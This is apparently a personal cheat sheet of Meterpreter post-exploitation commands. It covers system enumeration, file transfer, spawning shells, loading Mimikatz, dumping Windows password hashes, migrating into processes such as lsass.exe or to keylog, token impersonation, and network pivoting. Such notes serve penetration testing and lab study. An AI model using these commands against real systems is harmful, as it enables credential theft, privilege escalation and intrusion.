https://github.com/rapid7/meterpreter
Enumeration
sysinfoInfo about the system.
getenvGet one or more environment variable values.
getuidGet current user.
getprivsDisplay current user privileges.
search -f flag.txtSearch a file on the machine.
File Transfer
uploadUpload a file or directory.
downloadDownload a file or directory.
Spawn Shell
shellSpawn a shell.
loadpowershell_shellSpawn Powershell.
Spawn Mimikatz
privilege::debugEnsure that current user has administrator privileges (the output should be
[output '20' OK]
). This indicates that debugging a process is possible.
>
load kiwiStarts Mimikatz.
help kiwiShow Mimikatz commands.
Attacks
hashdumpDump hashes from Windows SAM base (for linux use module linux/gather/hashdump).
migrate 716Migrate to another process.Ex : Migrate to a word.exe and act like a keylogger.Ex: Migrate to lsass.exe to run hashdump.
Impersonate
If the current user has SeDebugPrivilege and SeImpersonatePrivilege privileges enabled, we are able to impersonate another user.
load incognitoLoad icognito module.
list_tokens -uList Delegation Tokens available (not sure of the flag maybe
-g
).impersonate_token "BUILTIN\Administrators"Impersonate token.
To determine rights, Windows uses the Primary Token of the process and not the impersonated token. So we have to migrate to a process with correct permissions.
The safest to pick is services.exe.
migrate 668Migrate to process 668.
rev2selfRevert to previous user.
Pivoting
When we have a meterpreter shell on a machine that has access to another network, we can use it to gain access to the 2nd network.
run autoroute -s [REMOTE_NETWORK]/24Create a route via the host that we had access to.
run autoroute -pShow added routes.